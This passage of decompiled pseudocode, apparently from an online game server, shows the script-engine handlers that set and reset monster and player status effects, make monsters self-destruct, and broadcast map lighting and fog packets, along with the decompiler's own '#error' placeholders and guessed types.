*v21; // eax@13 AxialListIterator *v22; // ecx@16 PineScriptToken *v23; // eax@18 const char *v24; // eax@18 unsigned __int16 v25; // ax@18 #325 *v26; // edi@19 Movie::Theater *v27; // ecx@21 unsigned __int16 result; // ax@26 const char *v29; // [sp+4h] [bp-264h]@5 char *v30; // [sp+8h] [bp-260h]@2 int v31; // [sp+8h] [bp-260h]@4 int strength; // [sp+1Ch] [bp-24Ch]@6 AbnormalStateDictionary::AbState::AbStateStr *dic; // [sp+20h] [bp-248h]@10 FunctionEntarance _; // [sp+24h] [bp-244h]@1 AxialListMobStateSet almss; // [sp+28h] [bp-240h]@11 AxialListIterator ali; // [sp+40h] [bp-228h]@21 PineScriptToken tkn; // [sp+58h] [bp-210h]@1 PineScriptToken thisa; // [sp+158h] [bp-110h]@10 unsigned int v39; // [sp+258h] [bp-10h]@26 int v40; // [sp+264h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineAbstatSet::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatSet::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineAbstatSet::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v40 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineAbstatSet"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v40) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; v30 = "PineEventScriptNode::ShineAbstatSet::sa_Step"; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v30); goto LABEL_26; } v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v9, (MobTacticElement::MobActionArgument *)&tkn); MoveManager::MoveManager((DiceTaiSai *)&tkn); v11 = BTree::operator__(&unk_615CF4, v10); if ( v11 == -1 ) goto LABEL_9; v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v31 = 0; if ( v12 == 0 ) { v29 = "PineEventScriptNode::ShineFindHandle::sa_Step : no skip"; LABEL_8: AssertClass::ac_AssertFail(&shineassert, v29, v31); LABEL_9: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; LABEL_24: v30 = "PineEventScriptNode::ShineAbstatSet::sa_Step"; goto LABEL_25; } strength = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v13, (MobTacticElement::MobActionArgument *)&tkn); v14 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[2]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v31 = 0; if ( v14 == 0 ) { v29 = "PineEventScriptNode::ShineFindHandle::sa_Step : no keep"; goto LABEL_8; } v15 = PineScriptToken::pst_GetNumber(&tkn, 0); v16 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); v17 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v16, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v17, &trc_eol); dic = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v11); PineScriptToken::pst_Clear(&thisa); LOBYTE(v40) = 2; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &thisa, ps); PineScriptToken::pst_ToLower(&thisa); if ( !PineScriptToken::operator__(&thisa, index_all.pst_Buffer) ) { v23 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); MoveManager::MoveManager((DiceTaiSai *)v23); v25 = MobDataBox::mdb_2MobID(&mobdatabox, v24); if ( v25 == -1 ) { v26 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( !v26 ) { LABEL_23: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; goto LABEL_24; } AxialListMobStateSet::AxialListMobStateSet(&almss, 0xFFFFu, (ABSTATEINDEX)v11, strength, dic, v15); LOBYTE(v40) = 4; AxialListMobStateSet::almss_AbStateSet(&almss, v26); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v22 = (AxialListIterator *)&almss; } else { AxialListMobStateSet::AxialListMobStateSet( (AxialListMobStateSet *)&ali, v25, (ABSTATEINDEX)v11, strength, dic, v15); v27 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v40) = 5; Movie::Theater::t_AllInMap(v27, &ali); ali.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v22 = &ali; } LABEL_22: LOBYTE(v40) = 2; AxialListWall::_AxialListWall((AxialListMobKillLog *)v22); goto LABEL_23; } AxialListPlayerStateSet::AxialListPlayerStateSet( (AxialListPlayerStateSet *)&almss, (ABSTATEINDEX)v11, strength, dic, v15); v18 = v4->baseclass_0.os_Express[3]; LOBYTE(v40) = 3; if ( !v18 ) { Movie::Theater::t_AllInMap(*(Movie::Theater **)&ps->gap10114[4], &almss.baseclass_0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v22 = (AxialListIterator *)&almss; goto LABEL_22; } v19 = (int)v18->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v18, &tkn, ps); if ( !AssertClass::operator__( &shineassert, v19 != 0, "PineEventScriptNode::ShineAbstatSet::sa_Step : no Player with handle", 0) ) { v20 = PineScriptToken::pst_GetNumber(&tkn, 0); v21 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v20); if ( !v21 ) { PineScriptToken::pst_GetNumber(&tkn, 0); goto LABEL_15; } ShineObjectClass::ShineObject::so_AllInMap(v21, (int)&almss, 0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v22 = (AxialListIterator *)&almss; goto LABEL_22; } LABEL_15: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 2; almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almss); LOBYTE(v40) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_26: __security_check_cookie(v39); return result; } // 5BF7CC: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #325 *obj, int distancesquar); // 5BF7D0: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #325 *obj, int distancesquar); //----- (004B7190) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatReset::sa_Step(PineEventScriptNode::ShineAbstatReset *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineAbstatReset *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@4 MobTacticElement::MobActionBase *v10; // eax@4 const char *v11; // eax@4 PineScriptToken *v12; // eax@5 const char *v13; // eax@5 unsigned int v14; // eax@5 unsigned __int16 v15; // bp@5 #325 *v16; // edi@7 Movie::Theater *v17; // ecx@9 unsigned __int16 result; // ax@12 unsigned int abstateidx; // [sp+8h] [bp-130h]@4 AxialListMobStateSet almss; // [sp+Ch] [bp-12Ch]@8 FunctionEntarance _; // [sp+24h] [bp-114h]@1 PineScriptToken tkn; // [sp+28h] [bp-110h]@1 unsigned int v23; // [sp+128h] [bp-10h]@12 int v24; // [sp+134h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineAbstatReset::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatReset::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineAbstatReset::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineAbstatReset"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v24) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps) != 0 ) { v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v9, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&tkn); abstateidx = BTree::operator__(&unk_615CF4, v11); if ( abstateidx == -1 ) goto LABEL_3; v12 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); MoveManager::MoveManager((DiceTaiSai *)v12); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v15 = v14; if ( v14 != -1 && (_WORD)v14 != -1 ) { AxialListIterator::AxialListIterator(&almss.baseclass_0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; almss.almss_MobID = v15; almss.almss_StateIndex = abstateidx; almss.almss_Strength = 0; almss.almss_Dictionary = 0; almss.almss_KeepTime = 0; v17 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v24) = 3; Movie::Theater::t_AllInMap(v17, &almss.baseclass_0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; } else { v16 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( !v16 ) { LABEL_11: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v24 = -1; goto LABEL_12; } AxialListMobStateSet::AxialListMobStateSet(&almss, 0xFFFFu, (ABSTATEINDEX)abstateidx, 0, 0, 0); LOBYTE(v24) = 2; AxialListMobStateSet::almss_AbStateSet(&almss, v16); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; } LOBYTE(v24) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almss); goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no handle", 0); LABEL_3: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v24 = -1; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatReset::sa_Step"); __security_check_cookie(v23); return result; } // 5BF7CC: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #325 *obj, int distancesquar); //----- (004B7410) -------------------------------------------------------- #error "4B7410: undefined or illegal type '#325' (funcsize=107)" //----- (004B7580) -------------------------------------------------------- #error "4B7580: undefined or illegal type '#325' (funcsize=47)" //----- (004B7650) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSuicide::sa_Step(PineEventScriptNode::ShineSuicide *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSuicide *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineScriptToken *v10; // eax@1 void *v11; // ecx@2 int v12; // eax@6 unsigned __int16 v13; // si@6 const char *v14; // eax@7 unsigned int v15; // eax@7 int v16; // esi@9 const char *v17; // eax@9 AxialListIteratorVtbl *v18; // edi@11 void *v19; // ecx@11 #325 *v20; // esi@14 unsigned __int16 result; // ax@18 AxialListMobSuicide alms; // [sp+8h] [bp-324h]@2 FunctionEntarance _; // [sp+10h] [bp-31Ch]@1 PineScriptToken tkn; // [sp+14h] [bp-318h]@1 PineScriptToken temp; // [sp+114h] [bp-218h]@6 PineScriptToken all; // [sp+214h] [bp-118h]@1 unsigned int cookie; // [sp+318h] [bp-14h]@18 int v28; // [sp+328h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineSuicide::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineSuicide::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineSuicide::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v28 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineSuicide"); PineScriptToken::pst_Clear(&tkn); LOBYTE(v28) = 1; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v8, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); memcpy(&all, &tkn, sizeof(all)); LOBYTE(v28) = 2; v10 = PineScriptToken::pst_ToLower(&all); if ( !PineScriptToken::operator__(v10, "all") ) { v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = v12; PineScriptToken::PineScriptToken(&temp, v12); LOBYTE(v28) = 4; if ( PineScriptToken::operator__(&temp, tkn.pst_Buffer) ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); v15 = BTree::operator__(&mobdatabox.mdb_btree, v14); if ( v15 == -1 ) LOWORD(v15) = -1; v16 = (unsigned __int16)v15; MoveManager::MoveManager((DiceTaiSai *)&tkn); if ( v16 == 65535 ) AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineSuicide::sa_Step : Invalid mob id", v17); AxialListIterator::AxialListIterator(&alms.baseclass_0); v18 = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = v16; v19 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v28) = 5; if ( v19 ) ShineObjectClass::ShineObject::so_AllInMap(v19, (int)&alms, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); } else { v20 = ShineObjectManager::som_GetObject(&shineobjmanager, v13); if ( !v20 ) { LABEL_17: LOBYTE(v28) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&temp); goto LABEL_18; } AxialListIterator::AxialListIterator(&alms.baseclass_0); v18 = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = -1; LOBYTE(v28) = 6; AxialListMobSuicide::alms_SelfKill(&alms, v20); } LOBYTE(v28) = 4; alms.baseclass_0.vfptr = v18; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); goto LABEL_17; } AxialListIterator::AxialListIterator(&alms.baseclass_0); alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = -1; v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v28) = 3; if ( v11 ) ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&alms, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v28) = 2; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); LABEL_18: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v28) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&all); LOBYTE(v28) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineSuicide::sa_Step"); __security_check_cookie(cookie); return result; } // 5A473C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #325 *obj, int distancesquar); //----- (004B79A0) -------------------------------------------------------- #error "4B79A0: undefined or illegal type '#325' (funcsize=140)" //----- (004B7BC0) -------------------------------------------------------- #error "4B7BC0: undefined or illegal type '#325' (funcsize=140)" //----- (004B7DE0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMapLight::sa_Step(PineEventScriptNode::ShineMapLight *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMapLight *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 int v10; // eax@2 int v11; // eax@3 int v12; // ebx@5 MobTacticElement::MobActionBase *v13; // eax@5 MobTacticElement::MobActionBase *v14; // eax@5 MobTacticElement::MobActionBase *v15; // eax@5 MobTacticElement::MobActionBase *v16; // eax@5 MobTacticElement::MobActionBase *v17; // eax@5 char *v18; // eax@5 Movie::Theater *v19; // ecx@5 unsigned __int16 result; // ax@6 int v21; // [sp+4h] [bp-140h]@1 char *v22; // [sp+4h] [bp-140h]@4 int blue; // [sp+18h] [bp-12Ch]@3 int red; // [sp+1Ch] [bp-128h]@2 AxialListPacketBroadcast alchat; // [sp+24h] [bp-120h]@5 int v26; // [sp+30h] [bp-114h]@3 PineScriptToken tkn; // [sp+34h] [bp-110h]@1 unsigned int v28; // [sp+134h] [bp-10h]@6 int v29; // [sp+140h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineMapLight::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMapLight::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMapLight"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v29) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); v21 = 0; if ( v9 != 0 && (red = PineScriptToken::pst_GetNumber(&tkn, 0), v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v21 = 0, v10 != 0) && (blue = PineScriptToken::pst_GetNumber(&tkn, 0), v11 = (int)v4->baseclass_0.os_Express[2]->baseclass_0.vfptr->sa_Calculate( (PineEventScriptNode::ScriptAtom *)v4->baseclass_0.os_Express[2], &tkn, ps), v26 = v11 != 0, v21 = 0, v11 != 0) ) { v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5AB5B0); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v13, (MobTacticElement::MobActionArgument *)red); v15 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &stru_5AB5B0); v16 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v15, (MobTacticElement::MobActionArgument *)blue); v17 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v16, &stru_5AB5B0); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v17, (MobTacticElement::MobActionArgument *)v12); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27658; v18[2] = red; v18[4] = blue; v18[3] = v12; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v19 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v29) = 2; Movie::Theater::t_AllInMap(v19, &alchat.baseclass_0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v22 = "PineEventScriptNode::ShineMapLight::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapLight::sa_Step : no argument", v21); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v22 = "PineEventScriptNode::ShineMapLight::sa_Step"; } --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); __security_check_cookie(v28); return result; } //----- (004B8050) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMapFog::sa_Step(PineEventScriptNode::ShineMapFog *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMapFog *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // ebx@3 int v10; // eax@5 __int16 v11; // di@5 MobTacticElement::MobActionArgument *v12; // ST0C_4@5 MobTacticElement::MobActionBase *v13; // eax@5 MobTacticElement::MobActionBase *v14; // eax@5 MobTacticElement::MobActionBase *v15; // eax@5 char *v16; // eax@5 void *v17; // ecx@5 unsigned __int16 result; // ax@10 char *v19; // [sp+0h] [bp-138h]@2 AxialListPacketBroadcast alchat; // [sp+18h] [bp-120h]@5 FunctionEntarance _; // [sp+24h] [bp-114h]@1 PineScriptToken tkn; // [sp+28h] [bp-110h]@1 unsigned int v23; // [sp+128h] [bp-10h]@10 int v24; // [sp+134h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineMapFog::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShineMapFog::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMapFog::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMapFog"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v24) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps) != 0 ) { v9 = PineScriptToken::pst_GetNumber(&tkn, 0); if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v10 = PineScriptToken::pst_GetNumber(&tkn, 0); v11 = v10; v12 = (MobTacticElement::MobActionArgument *)v10; v13 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5AB5B0); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v13, (MobTacticElement::MobActionArgument *)v9); v15 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &stru_5AB5B0); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v15, v12); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27662; v16[2] = v9; *(_WORD *)(v16 + 3) = v11; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v17 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v24) = 2; if ( v17 ) ShineObjectClass::ShineObject::so_AllInMap(v17, (int)&alchat, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapFog::sa_Step : no argument", 0); PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v19 = "PineEventScriptNode::ShineMapFog::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapFog::sa_Step : no argument", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v19 = "PineEventScriptNode::ShineMapFog::sa_Step"; } --funcallanalizer.fca_stackpoint; v24 = -1; 